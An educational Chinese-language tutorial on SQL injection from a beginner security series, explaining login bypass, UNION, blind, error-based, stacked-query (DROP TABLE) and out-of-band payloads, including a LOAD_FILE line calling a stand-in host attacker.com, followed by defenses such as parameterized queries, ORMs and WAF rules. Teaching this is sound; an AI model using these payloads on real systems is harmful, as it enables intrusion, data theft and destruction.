FacebookLinkedInTweet更新日期: 2025 年 3 月 4 日
本文為 資安入門 系列文,第 9 篇
OWASP Top 10:最新的 Web 安全風險與防範措施(2021 版)
MD5 加密演算法是什麼?
SHA-1 是什麼?為什麼不再安全?
深入解析 Session:從概念到運作方式
什麼是 Session Fixation(會話固定攻擊)?
HTTP 與 HTTPS 的差別:新手完整指南
跨站請求偽造(CSRF)入門指南:攻擊原理、實例與防禦方法
跨站指令碼攻擊(XSS)入門指南:從原理到防禦的全解析
SQL 注入攻擊全解析:從入門到防禦實戰指南 👈所在位置
新手指南:深入了解 Content-Security-Policy (CSP) 與網站安全
從零理解 Same-Origin Policy:瀏覽器安全的第一道防線
跨來源資源共享(CORS)完整指南:打破瀏覽器的安全邊界
當你在網站登入框輸入帳號密碼時,有沒有想過駭客可能用「' OR 1=1 --」這種神秘代碼直接突破防線?
這就是臭名昭著的 SQL 注入攻擊,至今仍位居 OWASP Top 10 網路安全威脅榜首。
本文將以新手角度,帶你親歷駭客攻擊思維,並掌握關鍵防禦技術,從此寫出「防彈級」資料庫程式碼。
SQL 注入攻擊原理剖析
什麼是 SQL 注入?
透過在輸入欄位插入惡意 SQL 代碼,欺騙資料庫執行非預期指令的攻擊手法。
就像給資料庫工程師戴上「催眠眼鏡」,讓其執行任意命令。
經典攻擊流程:
使用者輸入 → 未經處理拼接 SQL → 資料庫執行惡意指令 → 數據洩露/系統控制
漏洞程式碼實例
// 危險的 SQL 拼接方式
$user = $_POST['username'];
$pass = $_POST['password'];
$sql = "SELECT * FROM users WHERE username='$user' AND password='$pass'";
// 當輸入 username = ' OR 1=1 -- 時,SQL 變成:
// SELECT * FROM users WHERE username='' OR 1=1 --' AND password=''
逐步解析攻擊原理
原始程式碼(存在漏洞):
SELECT * FROM users
WHERE username='[使用者輸入]' AND password='[使用者輸入]'
攻擊者輸入:
Username 欄位輸入:' OR 1=1 --
Password 欄位任意輸入(例如:123)
最終組成的 SQL 語句:
SELECT * FROM users
WHERE username='' OR 1=1 --' AND password='123'
步驟 1:單引號閉合(')
攻擊輸入:'
效果:閉合原本的 username='[輸入]' 結構中的前引號,使 SQL 語法進入「可插入代碼」的狀態。
步驟 2:注入永遠成立條件(OR 1=1)
攻擊輸入:OR 1=1
效果:1=1 在 SQL 中永遠為真,因此條件變成:username='' OR true → 無條件成立此時查詢會返回 users 表中所有資料。
步驟 3:註釋符號截斷(--)
攻擊輸入:--
效果:在 SQL 中 -- 是註解符號,會讓後方所有內容失效。原本的 AND password='123' 被註解掉,完全跳過密碼驗證。
視覺化解析
原始查詢結構:
WHERE username='[輸入]' AND password='[輸入]'
攻擊後結構:
WHERE username='' OR 1=1 --' AND password='123'
↑ ↑ ↑
閉合引號 注入條件 註解截斷
為什麼這樣就能登入成功?
關鍵機制
邏輯短路效應:只要 OR 前後任一條件為真即成立,而 1=1 永遠為真,因此整個條件必成立。
資料庫行為:此查詢會返回 users 表中所有用戶資料,若後端程式碼僅檢查「是否有查詢結果」(而非驗證是否唯一匹配),系統就會允許登入。
默認登入規則:許多系統會取查詢結果的第一筆資料作為登入帳號,若資料表中第一個用戶是管理員,攻擊者便直接取得最高權限。
進階補充:不同資料庫的差異
資料庫註解符號攻擊語法範例注意事項MySQL#' OR 1=1 #需注意空格問題SQL Server--' OR 1=1 --通常需換行符號PostgreSQL--' OR 1=1 --與 SQL Server 類似Oracle--' OR 1=1 --需注意語法相容性
實戰攻擊手法演示
基礎攻擊手法
這些是最常見的 SQL 注入手法,通常用來 繞過登入驗證、獲取資料庫資訊 或 判斷系統是否存在 SQL 注入漏洞。
攻擊類型輸入範例效果說明登入繞過' OR 1=1 --透過條件 1=1 始終為真,繞過密碼驗證登入帳戶。查詢數據洩露' UNION SELECT @@version --使用 UNION 合併查詢,獲取資料庫版本資訊,確認 SQL 注入是否可行。盲注攻擊(時間型)' AND SLEEP(5) --讓資料庫延遲回應 5 秒,透過回應時間判斷 SQL 語句是否成功執行。
解釋細節
登入繞過
假設一個網站的登入查詢如下:
SELECT * FROM users WHERE username = 'admin' AND password = 'password';
如果攻擊者在 密碼欄位 輸入:
' OR 1=1 --
最終 SQL 變成:
SELECT * FROM users WHERE username = 'admin' AND password = '' OR 1=1 --';
OR 1=1 始終為真,所以條件被滿足,攻擊者能成功登入任意帳戶,甚至是管理員帳戶。
-- 是 SQL 註解符號,讓後面的原始密碼驗證邏輯失效。
查詢數據洩露
假設攻擊者在輸入欄位中輸入:
' UNION SELECT @@version --
如果應用程式沒有做好防護,SQL 變成:
SELECT * FROM users WHERE username = '' UNION SELECT @@version --';
這樣攻擊者就能透過網頁回應獲取 資料庫版本資訊,幫助他們進一步策劃更精細的攻擊。
盲注攻擊(時間型)
盲注(Blind SQL Injection) 是當網站不直接回應 SQL 執行結果時,攻擊者使用 SLEEP() 來測試是否存在 SQL 注入漏洞。例如輸入:
' AND SLEEP(5) --
使 SQL 查詢變成:
SELECT * FROM users WHERE username = '' AND SLEEP(5) --';
如果伺服器回應時間延遲 5 秒,則攻擊者可以判斷這段 SQL 成功執行,表示 網站可能存在 SQL 注入漏洞。
進階攻擊手法
當攻擊者確認網站存在 SQL 注入漏洞後,他們可能會使用更高級的手法來執行惡意操作。
如 獲取資料表結構、刪除資料、甚至透過資料庫存取遠端伺服器。
利用錯誤訊息洩露資料
有些 SQL 資料庫在執行錯誤時會回應詳細的錯誤訊息,攻擊者可以利用這些訊息來逐步獲取資料庫的架構。
例如:
' AND 1=CONVERT(int, (SELECT TOP 1 table_name FROM information_schema.tables)) --
information_schema.tables 存放了所有資料表的名稱。
SELECT TOP 1 table_name 取得第一個資料表的名稱。
CONVERT(int, ...) 嘗試將字串轉換成數字,導致 SQL 錯誤並顯示具體的資料表名稱。
如果伺服器回應錯誤,例如:
Conversion failed when converting the varchar value 'users' to data type int.
攻擊者便知道 資料庫內有一個名為 users 的資料表,可以進一步查詢其結構。
堆疊查詢攻擊(Stacked Query)
某些 SQL 伺服器允許一次執行 多條 SQL 指令,這可能導致攻擊者直接執行刪除、修改等破壞性操作。
例如,攻擊者輸入:
'; DROP TABLE users; --
導致 SQL 執行變成:
SELECT * FROM users WHERE username = ''; DROP TABLE users; --';
這樣 users 資料表會被 完全刪除,導致所有使用者帳戶消失。
帶外數據傳輸(OOB Data Exfiltration)
在某些情況下,攻擊者可能無法透過網站直接取得資料,但可以讓資料庫 發送請求到外部伺服器,將資料傳輸出去。例如:
' UNION SELECT LOAD_FILE('\\\\attacker.com\\share\\data.txt') --
這段 SQL 會讓資料庫試圖讀取來自 attacker.com 伺服器的檔案,攻擊者可以監聽這些請求,並利用它們來獲取機密數據,例如:
讀取伺服器內部檔案
利用 DNS 請求將數據偷偷發送出去
讓伺服器與攻擊者的機器建立連線(可能用來執行遠端攻擊)
防禦鐵三角:程式層防護
參數化查詢(最佳實踐)
參數化查詢 是防範 SQL 注入的最佳方法之一,它可以確保使用者輸入的數據不會被解釋為 SQL 指令。
這樣可以有效防止攻擊者透過特殊字符或惡意輸入來操控資料庫。
Python + SQLite 安全範例
import sqlite3
conn = sqlite3.connect('users.db')
user = request.form['username'] # 從用戶表單取得輸入
query = "SELECT * FROM users WHERE username = ?"
conn.execute(query, (user,)) # 使用問號 '?' 作為佔位符,確保自動處理特殊字符
在這個範例中,? 是一個佔位符,它會被 user 變數的值取代,而不會直接插入 SQL 語句中。
因此,無論使用者輸入什麼內容(如 ' OR 1=1 --),都只會被視為數據,而不會影響 SQL 語句的執行。
輸入過濾機制
輸入過濾機制 是在接受用戶輸入時,先過濾掉所有潛在的危險字符。
這可以防止不當的字符進入系統,減少 SQL 注入和其他類型的攻擊風險。
白名單驗證範例
// 只允許字母和數字
function sanitize(input) {
return input.replace(/[^a-zA-Z0-9]/g, ''); // 移除所有非字母和數字的字符
}
在這個 JavaScript 範例中,sanitize 函數會過濾掉所有非字母和數字的字符。
這樣可以防止攻擊者插入惡意的 SQL 指令或腳本代碼。
使用 ORM 工具防護
ORM(物件關聯映射)工具 能夠自動處理數據庫查詢,並將 SQL 查詢轉換為安全的 API 操作。
大多數現代 ORM 都內建了防範 SQL 注入的功能。
Sequelize ORM 安全範例(Node.js)
// 使用 Sequelize ORM 來處理數據庫查詢
const users = await User.findAll({
where: {
username: req.body.username // ORM 自動處理 SQL 注入風險
}
});
在這個範例中,Sequelize 會自動轉換查詢,確保 username 的值不會被解釋為 SQL 語句的一部分。
系統層深度防禦
資料庫權限控制
即使攻擊者成功執行了 SQL 注入,他們的影響範圍也可以透過適當的資料庫權限控制來最小化。
應用程式應該只具有基本的 SELECT 和 INSERT 權限,而不應擁有刪除(DROP)或執行(EXEC)等高風險操作的權限。
權限等級建議
應用帳號:僅賦予 SELECT 和 INSERT 權限
連接帳號:禁止執行 DROP、DELETE 和 EXEC 等高風險操作
錯誤訊息:自定義通用錯誤頁面,避免洩露資料庫內部結構
Web 應用防火牆(WAF)規則
Web 應用防火牆(WAF) 可以幫助阻擋常見的攻擊模式,尤其是自動化攻擊工具。
WAF 可以設置特定的規則來過濾惡意請求。
Nginx 防注入規則範例
location / {
if ($args ~* "union.*select") {
return 403; // 阻擋包含 "union select" 的查詢參數
}
if ($request_body ~* "(\'|\%27)") {
return 403; // 阻擋請求中包含單引號的內容
}
}
這些規則能夠檢查傳入的請求,如果發現疑似 SQL 注入的模式(如 UNION SELECT 或單引號 '),則返回 HTTP 403 錯誤碼,拒絕執行請求。
定期安全檢測
定期使用自動化工具來檢測網站的安全性是至關重要的。
這些工具可以模擬攻擊者的行為,幫助開發者識別並修復潛在的漏洞。
自動化工具推薦
SQLMap:通常用於模擬 SQL 注入攻擊,可以反過來用於檢測系統是否有 SQL 注入漏洞。
OWASP ZAP:開源的安全掃描工具,用於檢測常見的網頁應用漏洞。
Burp Suite:功能強大的安全測試套件,可以分析和改變網頁流量,檢測各種攻擊漏洞。
歷史重大案例警示
經典攻擊事件
2009 年 Heartland 支付系統:攻擊者利用 SQL 注入竊取了 1.34 億張信用卡資料,公司最終支付了 1.1 億美元的和解金。
2015 年 TalkTalk 電信公司:青少年駭客使用 SQL 注入攻擊,竊取了 15 萬客戶的個人資料,導致公司損失 6000 萬英鎊。
這些案例提醒我們,SQL 注入可以導致巨大的經濟損失和品牌聲譽的損害。
現代攻擊趨勢
隨著技術的進步,攻擊者也在不斷改進他們的手法:
NoSQL 注入:針對 MongoDB 和其他 NoSQL 資料庫的攻擊。
二階注入(Second-Order Injection):攻擊者將惡意代碼儲存在系統中,等待特定條件觸發後才執行。
自動化工具攻擊:利用 SQLMap 等工具自動掃描網站的 SQL 注入漏洞,進行大規模攻擊。
結語:建立安全程式設計思維
SQL 注入就像網路世界的「鎖匠犯罪」,只要開發者留下任何一道門縫,攻擊者就能長驅直入。
防禦的關鍵在於:
永遠不信任使用者輸入
採用參數化查詢取代字串拼接
實施多層次深度防禦
記住,安全不是功能而是責任。下次寫 SQL 查詢時,請把這句格言刻在腦海裡:
「字串拼接是魔鬼的契約,參數化查詢是天使的護盾」。
從今天起,讓你寫的每一行程式碼都成為駭客攻不破的鋼鐵長城!
- 华为手机怎样调出剪贴板在使用华为手机时,你是否经常需要复制粘贴文字,但却苦于找不到剪贴板功能?别担心,本文将详细介绍如何在华为手机上轻松调用剪贴板,...
- 做出来的游戏为何不好玩?游戏制作的基础及进阶——心流理论编者按本文来自游戏设计师かえるD 的个人博客,由 indienova 取得授权并译制发表,原文链接见文末。 原文作者:かえるD译者:96审校:鹅巫妖...
- 联通的网络维修电话是多少 , 宽带故障可以打什么电话报修?联通对外统一客服热线是10010,如果您宽带出现故障无法自助解决,您可拨打宽带所在地10010人工台报障,联通公司会尽快为您核查处理的。 可...
- 欧奔开关质量怎么样?欧奔开关插座好用吗?作为一个电工,经常要接触到开关插座面板。最近闲来无事,买了15个目前国内外知名的开关插座品牌商的产品,一个五孔插座,一个单开单控...
- HelloPal全球社交直播下载程序需要调用以下重要权限: 程序写入外部存储 - 允许程序写入外部存储 读取设备外部存储空间的文件 - 程序可以读取设备外部存储空间的文...
- 6月11日 世预赛亚洲区第6轮 韩国vs中国男足 全场录像回放【掌触体育】本站所有直播信号和视频录像均由用户收集或从搜索引擎搜索整理获得,所有内容均来自互联网,我们自身不提供任何直播信号和视频内容,如...
- 漂流少女农场在哪里 农场开启解锁方法介绍漂流少女农场在哪里?农场是漂流少女后期的重要玩法,玩家可以利用农场来获得稳定的落脚点,帮助自己更快的发展起来,不过有不少玩家不...
- 正在阅读:咕咚和悦动圈哪个好 悦动圈和咕咚对比分析咕咚和悦动圈哪个好 悦动圈和咕咚对比分析悦动圈和咕咚对比区别: 运动类型丰富度 悦动圈 :有走路、跑步、骑行; 咕咚 :走路、跑步、骑行、滑雪、滑冰等运动模式 GPS运动记步功能 ...
- 笔记本打游戏CPU温度多少正常 一文读懂随着笔记本电脑性能的不断提升,越来越多的用户开始选择笔记本来玩游戏,尤其是那些搭载高性能CPU和独立显卡的游戏本。然而,在游戏过程...
- 致劫镖以及劫镖侧滑123 / 3 页下一页 返回列表 查看: 3298|回复: 48 致劫镖以及劫镖侧滑 [复制链接] 496890264 496890264 当前离线 积分4813 126 主题2100 帖子4813 积分 出类拔萃...